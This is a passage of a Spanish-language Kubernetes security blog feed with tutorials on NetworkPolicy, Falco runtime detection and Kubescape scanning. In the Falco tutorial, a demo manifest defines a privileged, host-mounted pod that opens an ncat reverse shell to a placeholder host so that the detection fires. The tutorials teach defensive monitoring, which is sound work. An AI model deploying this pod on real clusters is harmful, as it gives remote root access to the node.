  <span class="hljs-attr">namespace:</span> <span class="hljs-string">default</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">podSelector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">two-tier-app</span>
  <span class="hljs-attr">policyTypes:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">Ingress</span>
  <span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">from:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">podSelector:</span>
        <span class="hljs-attr">matchLabels:</span>
          <span class="hljs-attr">app:</span> <span class="hljs-string">mysql</span>
    <span class="hljs-attr">ports:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
      <span class="hljs-attr">port:</span> <span class="hljs-number">3306</span>
</code></pre>
<p>¡Listo! Ya podemos acceder a la aplicación, que ahora se comunica con la base de datos. Sin embargo, ningún pod, excepto la aplicación, puede conectarse con el exterior.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721232425576/b0717f13-88f2-48cf-85ca-4adf712a484a.png" alt class="image--center mx-auto" /></p>
<p>Vamos a hacer una prueba desde los diferentes containers. Si hacemos un curl desde el Frontend, vamos a obtener esta respuesta.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721232963313/8e54d780-937c-473a-8e14-765dd2b2a445.png" alt class="image--center mx-auto" /></p>
<p>Pero si lo hacemos desde el Backend, el resultado será diferente porque solamente el label two-tier-app tiene permisos para las comunicaciones con el exterior.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1721233181378/d2982eac-0ab6-49ca-bc33-956d2de6d049.png" alt class="image--center mx-auto" /></p>
<p>Existen muchas clases de políticas para mejorar la seguridad, como conexiones entre namespaces, restriccion de rangos, manejar comunicaciones atraves de labels, combinaciones entre Pods y Namespaces, etc.</p>
<p>Espero que les sirva para dar los primeros pasos en esta clase de objetos tan necesarios.</p>
]]></content:encoded></item><item><title><![CDATA[Runtime Security con Falco]]></title><description><![CDATA[Introducción
Falco es una herramienta de código abierto diseñada para proporcionar seguridad a las aplicaciones que se ejecutan en su clúster Kubernetes. Utiliza un conjunto de reglas para supervisar actividades y comportamientos con el fin de detect...]]></description><link>https://blog.santiagoagustinfernandez.com/runtime-security-con-falco</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/runtime-security-con-falco</guid><category><![CDATA[falcosidekick]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[Security]]></category><category><![CDATA[falco]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Fri, 07 Jun 2024 22:04:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717797584418/f8504a46-11e5-4b10-8b0e-8dd2bd7ac706.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduccion">Introducción</h2>
<p><a target="_blank" href="https://falco.org/"><strong>Falco</strong></a> es una herramienta de código abierto diseñada para proporcionar seguridad a las aplicaciones que se ejecutan en su clúster Kubernetes. Utiliza un conjunto de reglas para supervisar actividades y comportamientos con el fin de detectar posibles brechas de seguridad. Esta herramienta es una buena opción para una estrategia de defensa en profundidad.</p>
<p><strong>Falco</strong> detecta amenazas en tiempo real, revisa y monitorea comportamientos en Nodos, Pods, Aplicaciones o la API de Kubernetes. Lo hace utilizando la información de las llamadas del sistema a Linux y los registros de auditoría de Kubernetes.</p>
<p><img src="https://sysdig.com/wp-content/uploads/Getting-started-with-Falco-02.png" alt="Getting started with runtime security and Falco | Sysdig" class="image--center mx-auto" /></p>
<h2 id="heading-que-podemos-detectar">¿Que podemos detectar?</h2>
<p>Por ejemplo estos serían unos casos de uso, interesantes:</p>
<ul>
<li><p>Escalada de privilegios usando contenedores privilegiados</p>
</li>
<li><p>Intento de escape de contenedor cambiando namespaces de linux</p>
</li>
<li><p>Mutando Configmap con credenciales privadas</p>
</li>
<li><p>Mutando recursos en el espacio de nombres kube-system</p>
</li>
<li><p>Un nodo no confiable intentando unirse al cluster</p>
</li>
<li><p>Lecturas/Escrituras en directorios bien conocidos como /etc, /usr/bin, /usr/sbin, etc.</p>
</li>
<li><p>Cambios de propiedad y modo Linux</p>
</li>
<li><p>Conexiones de red inesperadas o mutaciones de socket</p>
</li>
<li><p>Creación de procesos mediante execve o ejecución de binarios de shell</p>
</li>
<li><p>Mutaciones en los ejecutables coreutils de Linux</p>
</li>
<li><p>Mutaciones de binarios de inicio de sesión</p>
</li>
</ul>
<p>Un ataque clásico que podamos detectar puede ser el siguiente:</p>
<ol>
<li><p>El atacante explota un RCE o Remote Code Execution en un aplicativo dentro del Pod.</p>
</li>
<li><p>Crea un Shell remoto, que puede ser detectado por la ejecución inesperada del mismo o una conexión de red.</p>
</li>
<li><p>Explora el sistema de archivos, donde podríamos evidenciar que esta "scroleando" por /etc y /usr.</p>
</li>
<li><p>Un descubrimiento de credenciales de Kubernetes.</p>
</li>
<li><p>Por último la creación de un contenedor privilegiado con propiedades de Root, que podríamos detectar por la creación del contenedor o el cambio de namespace.</p>
</li>
</ol>
<h2 id="heading-instalacion-de-falco-via-helm">Instalación de Falco vía Helm</h2>
<p>Debes tener helm en tu host para poder hacer el deployment, en mi caso voy a usar mi cluster minikube. Lo voy a dejar por defecto, pero no seria mala idea hacerlo sobre un namespace específico.</p>
<pre><code class="lang-yaml"><span class="hljs-comment">## Add the stable chart to Helm repository</span>
<span class="hljs-string">helm</span> <span class="hljs-string">repo</span> <span class="hljs-string">add</span> <span class="hljs-string">falcosecurity</span> <span class="hljs-string">https://falcosecurity.github.io/charts</span>
<span class="hljs-string">helm</span> <span class="hljs-string">repo</span> <span class="hljs-string">update</span>
</code></pre>
<p>Hacemos el deployment de Falco, con Falcosidekick alimentando un Channel de Slack con solo los <em>Warnings</em>.</p>
<pre><code class="lang-yaml"><span class="hljs-string">helm</span> <span class="hljs-string">install</span> <span class="hljs-string">falco</span> <span class="hljs-string">-n</span> <span class="hljs-string">falco</span> <span class="hljs-string">falcosecurity/falco</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--set</span> <span class="hljs-string">driver.kind=modern-bpf</span> <span class="hljs-string">\</span> 
  <span class="hljs-string">--set</span> <span class="hljs-string">falcosidekick.enabled=true</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--set</span> <span class="hljs-string">falcosidekick.webui.enabled=true</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--set</span> <span class="hljs-string">auditLog.enabled=true</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--set</span> <span class="hljs-string">falco.jsonOutput=true</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--set</span> <span class="hljs-string">falco.fileOutput.enabled=true</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--set</span> <span class="hljs-string">falcosidekick.config.slack.webhookurl="https://hooks.slack.com/services/XXX"</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--set</span> <span class="hljs-string">falcosidekick.config.slack.minimumpriority="Warning"</span> <span class="hljs-string">\</span>
  <span class="hljs-string">--create-namespace</span>
</code></pre>
<p>Si quisieras saber como crear el webhook para que sidekick informe en Slack, te dejo este <a target="_blank" href="https://api.slack.com/apps?new_app=1">enlace</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717795708373/be05505b-78b1-46d4-94be-ce5bc6dba8e4.png" alt class="image--center mx-auto" /></p>
<p>Podrias revisar Falco con falcosidekick haciendo un Proxy, como te detallo a continuación.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">port-forward</span> <span class="hljs-string">-n</span> <span class="hljs-string">falco</span> <span class="hljs-string">service/falco-falcosidekick-ui</span> <span class="hljs-number">2802</span><span class="hljs-string">:2802</span>
</code></pre>
<p>Luego con admin/admin en <a target="_blank" href="http://127.0.0.1:2802">http://localhost:2802</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717795913939/2bcd346e-47d1-4a7b-90b5-f7354f7f4d53.png" alt class="image--center mx-auto" /></p>
<p>Ya tenemos todo el stack listo. Hay muchas más cosas para jugar, por ejemplo: ¿Por qué no llevarlo a grafana? Para ello deberías leer sobre <a target="_blank" href="https://github.com/falcosecurity/falco-exporter">falco-exporter</a>.</p>
<h2 id="heading-simular-actividad-maliciosa">Simular Actividad Maliciosa</h2>
<p>Vamos a crear un pod, para ver qué nos dice falco.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">run</span> <span class="hljs-string">alpine</span> <span class="hljs-string">--image</span> <span class="hljs-string">alpine</span> <span class="hljs-string">--</span> <span class="hljs-string">sh</span> <span class="hljs-string">-c</span> <span class="hljs-string">"sleep infinity"</span>
</code></pre>
<p>Uala! Slack enseguida nos avisa de que se levanto un container de manera no estipulada.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717796428732/f0868b4b-d24f-4521-ad6e-e758bd73ec16.png" alt class="image--center mx-auto" /></p>
<p>Podemos ver la alarma en Falcosidekick, logico.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717796603715/e6bfcc4d-0d48-4b6a-9eec-d1eb9164c47c.png" alt class="image--center mx-auto" /></p>
<p>Ahora vamos a desplegar un manifiesto que tiene un NetCat a ver que pasa 😉. Aca dejo el manifiesto, que lo voy a guardar como deploy.yaml.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Pod</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">everything-allowed-revshell-pod</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">pentest</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hostNetwork:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">hostPID:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">hostIPC:</span> <span class="hljs-literal">true</span>
  <span class="hljs-attr">containers:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">everything-allowed-pod</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">raesene/ncat</span>
    <span class="hljs-attr">command:</span> [ <span class="hljs-string">"/bin/sh"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">"--"</span> ]
    <span class="hljs-attr">args:</span> [ <span class="hljs-string">"ncat --ssl $HOST $PORT -e /bin/bash;"</span> ]
    <span class="hljs-attr">securityContext:</span>
      <span class="hljs-attr">privileged:</span> <span class="hljs-literal">true</span>
    <span class="hljs-attr">volumeMounts:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">mountPath:</span> <span class="hljs-string">/host</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">noderoot</span>
  <span class="hljs-attr">volumes:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">noderoot</span>
    <span class="hljs-attr">hostPath:</span>
      <span class="hljs-attr">path:</span> <span class="hljs-string">/</span>
</code></pre>
<p>Aplicamos el manifiesto.</p>
<pre><code class="lang-yaml"><span class="hljs-string">kubectl</span> <span class="hljs-string">apply</span> <span class="hljs-string">-f</span> <span class="hljs-string">deploy.yaml</span>
</code></pre>
<p>Uala! Peligro! Falco nos comenta que tenemos un contendor en nuestro nodo que tiene propiedades para crear una conexión remota.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717796942327/64807fc5-dd1c-4058-9c8b-bb381d017f7e.png" alt class="image--center mx-auto" /></p>
<p>La herramienta tiene infinidad de reglas para jugar. Si no lo comente se puede usar en Kubernetes o en On Premise. Aca podes revisar las <a target="_blank" href="https://falco.org/docs/reference/rules/examples/">reglas</a>.</p>
<h2 id="heading-respuesta-a-incidentes">Respuesta a Incidentes</h2>
<p>Hay muchas formas de responder a un incidente. Para que sigan explorando, les dejo este <a target="_blank" href="https://falco.org/blog/falcosidekick-response-engine-part-2-openfaas/">documento</a> donde, utilizando <strong>Serverless</strong>, podemos responder a un evento de seguridad mediante un trigger. En el caso que presenté, levantar un contenedor con una imagen que no está homologada por nosotros, podemos usar una estrategia proactiva como lo que comento <a target="_blank" href="https://blog.santiagoagustinfernandez.com/firma-verificacion-de-images-con-kyverno-cosign">aquí</a>, donde firmamos las imágenes con <strong>CoSign</strong> y <strong>Kyverno</strong> se encarga de prohibir el "pull" vía Admission Controller dentro de nuestro Cluster.</p>
<h2 id="heading-referencias">Referencias</h2>
<p><a target="_blank" href="https://security.padok.fr/en/blog/falco-discovery">https://security.padok.fr/en/blog/falco-discovery</a></p>
<p><a target="_blank" href="https://medium.com/oracledevs/malicious-activity-detection-in-kubernetes-using-falco-and-opensearch-in-oracle-cloud-part-3-d41b3b2006c8">https://medium.com/oracledevs/malicious-activity-detection-in-kubernetes-using-falco-and-opensearch-in-oracle-cloud-part-3-d41b3b2006c8</a></p>
<p><a target="_blank" href="https://medium.com/@selvamraju007/falco-introduction-and-installation-demo-on-kubernetes-b6b75d756914">https://medium.com/@selvamraju007/falco-introduction-and-installation-demo-on-kubernetes-b6b75d756914</a></p>
]]></content:encoded></item><item><title><![CDATA[Detección de Amenazas en Kubernetes con Kubescape]]></title><description><![CDATA[Resolviendo análisis de riesgo, malas configuraciones, seguridad, en nuestro Cluster. Una manera de salvar un tiempo valioso, como administrador.
No es novedad que Kubernetes es parte de nuestro dia a dia, que pocas empresas están fuera de la contene...]]></description><link>https://blog.santiagoagustinfernandez.com/deteccion-de-amenazas-en-kubernetes-con-kubescape</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/deteccion-de-amenazas-en-kubernetes-con-kubescape</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[kubescape]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Fri, 12 Apr 2024 16:59:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1712941091914/d0955111-7cc2-47ec-a260-1c389d63d45e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Resolviendo análisis de riesgo, malas configuraciones, seguridad, en nuestro Cluster. Una manera de salvar un tiempo valioso, como administrador.</p>
<p>No es novedad que Kubernetes es parte de nuestro dia a dia, que pocas empresas están fuera de la contenerización de aplicativos. Estos ambientes son complejos y nos acarrean un montón de desafíos en temas de Seguridad.</p>
<p>Para tener una postura fuerte es crítico implementar controles que nos aporten visibilidad sobre posibles vulnerabilidades o malas configuraciones en nuestro ambiente.</p>
<p>Vamos a instalar <strong>Kubescape</strong>, junto con Prometheus y Grafana para construir una solución que pueda llevar los hallazgos a otro nivel. Si nunca montaste observabilidad en tu cluster, te dejo esta <a target="_blank" href="https://blog.santiagoagustinfernandez.com/observabilidad-completa-en-kubernetes">entrada</a> sobre armamos algo básico.</p>
<h2 id="heading-instalacion-de-cliente-de-kubescape">Instalación de Cliente de Kubescape</h2>
<p>Con este comando podemos instalar el cliente de Kubescape.</p>
<pre><code class="lang-bash">curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
</code></pre>
<p>Vamos a realizar el primer scanneo, para ver nuestro punto de partida. Utilizaré el framework de NSA y filtrare algunos namespaces. Hay bastantes frameworks para seleccionar en base a tus necesidades de cumplimiento.</p>
<pre><code class="lang-bash">kubescape scan framework nsa --exclude-namespaces kube-system,kube-public
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1712591015010/56f05300-5f1d-412e-b070-3bf8a64dc38e.png" alt class="image--center mx-auto" /></p>
<p>Lo bueno de <strong>Kubescape</strong> es que podemos agregarlo a nuestro pipeline para realizar escaneos hasta en manifiestos. Podemos tener un enfoque proactivo o reactivo.</p>
<h2 id="heading-instalacion-en-el-cluster-kubernetes">Instalación en el Cluster Kubernetes</h2>
<p>Ahora llegó el momento de la mejora continua, nada mejor que un monitoreo continuo. Ya tenemos nuestro cluster con Prometheus &amp; Grafana, ahora integremos a <strong>Kubescape</strong>. Si no te dejo el comando para agregar el stack.</p>
<pre><code class="lang-bash">helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
helm repo update
kubectl create namespace prometheus
helm install -n prometheus kube-prometheus-stack prometheus-community/kube-prometheus-stack --<span class="hljs-built_in">set</span> prometheus.prometheusSpec.podMonitorSelectorNilUsesHelmValues=<span class="hljs-literal">false</span>,prometheus.prometheusSpec.serviceMonitorSelectorNilUsesHelmValues=<span class="hljs-literal">false</span>
</code></pre>
<p>Nota: Si ya tenemos instalado Prometheus, deberíamos hacer algunas parametrizaciones como las que dejo abajo con un upgrade sobre el helm, si es que fue tu manera de desplegar.</p>
<pre><code class="lang-bash">--<span class="hljs-built_in">set</span> prometheus.prometheusSpec.podMonitorSelectorNilUsesHelmValues=<span class="hljs-literal">false</span>,prometheus.prometheusSpec.serviceMonitorSelectorNilUsesHelmValues=<span class="hljs-literal">false</span>
</code></pre>
<p>Existe cantidad de tutoriales sobre como acceder a grafana, no voy a detenerme ahi. Aca te nuestro namespace de observabilidad que lo he llamado prometheus.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1712939662895/3b5ecffb-affa-488b-b541-de2bb3b41511.png" alt class="image--center mx-auto" /></p>
<p>Ahora vamos a desplegar nuestro <strong>kubescape-operator</strong> sobre el namespace kubescape.</p>
<pre><code class="lang-bash">helm upgrade kubescape kubescape/kubescape-operator -n kubescape --install --<span class="hljs-built_in">set</span> capabilities.prometheusExporter=<span class="hljs-built_in">enable</span> --<span class="hljs-built_in">set</span> configurations.prometheusAnnotations=<span class="hljs-built_in">enable</span>
</code></pre>
<p>Uala!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1712939905412/0858e622-20c1-47a4-a017-24a22d849b5a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-utilizacion-en-grafana">Utilización en Grafana</h2>
<p>Vamos a ingresar a grafana, para comenzar con nuestras búsquedas.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1712940059534/ad2e435f-52dd-4603-b86d-09306d950755.png" alt class="image--center mx-auto" /></p>
<p>Ya empezamos a ver las métricas del escaneo continuo. Ahora tenemos un potente dashboard, para ir llenando nuestro backlog de trabajo. Les voy a <a target="_blank" href="https://raw.githubusercontent.com/aminrj/devops-labs/main/50-kubescape/grafana-dashboard.yaml">compartir</a> un Dashboard que hizo la comunidad, para ir jugando. Simplemente deben importar este código. Se ve algo asi.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1712940212659/280d3578-0c43-49b1-8aea-a5e7bb5e5477.png" alt class="image--center mx-auto" /></p>
<p>No hace falta que comente la potencia de la herramienta y la sencillez que nos regala a la hora de poder ser asertivos a la hora de resolver inconvenientes de nuestra infraestructura Kubernetes. Espero que les sirve.</p>
]]></content:encoded></item></channel></rss>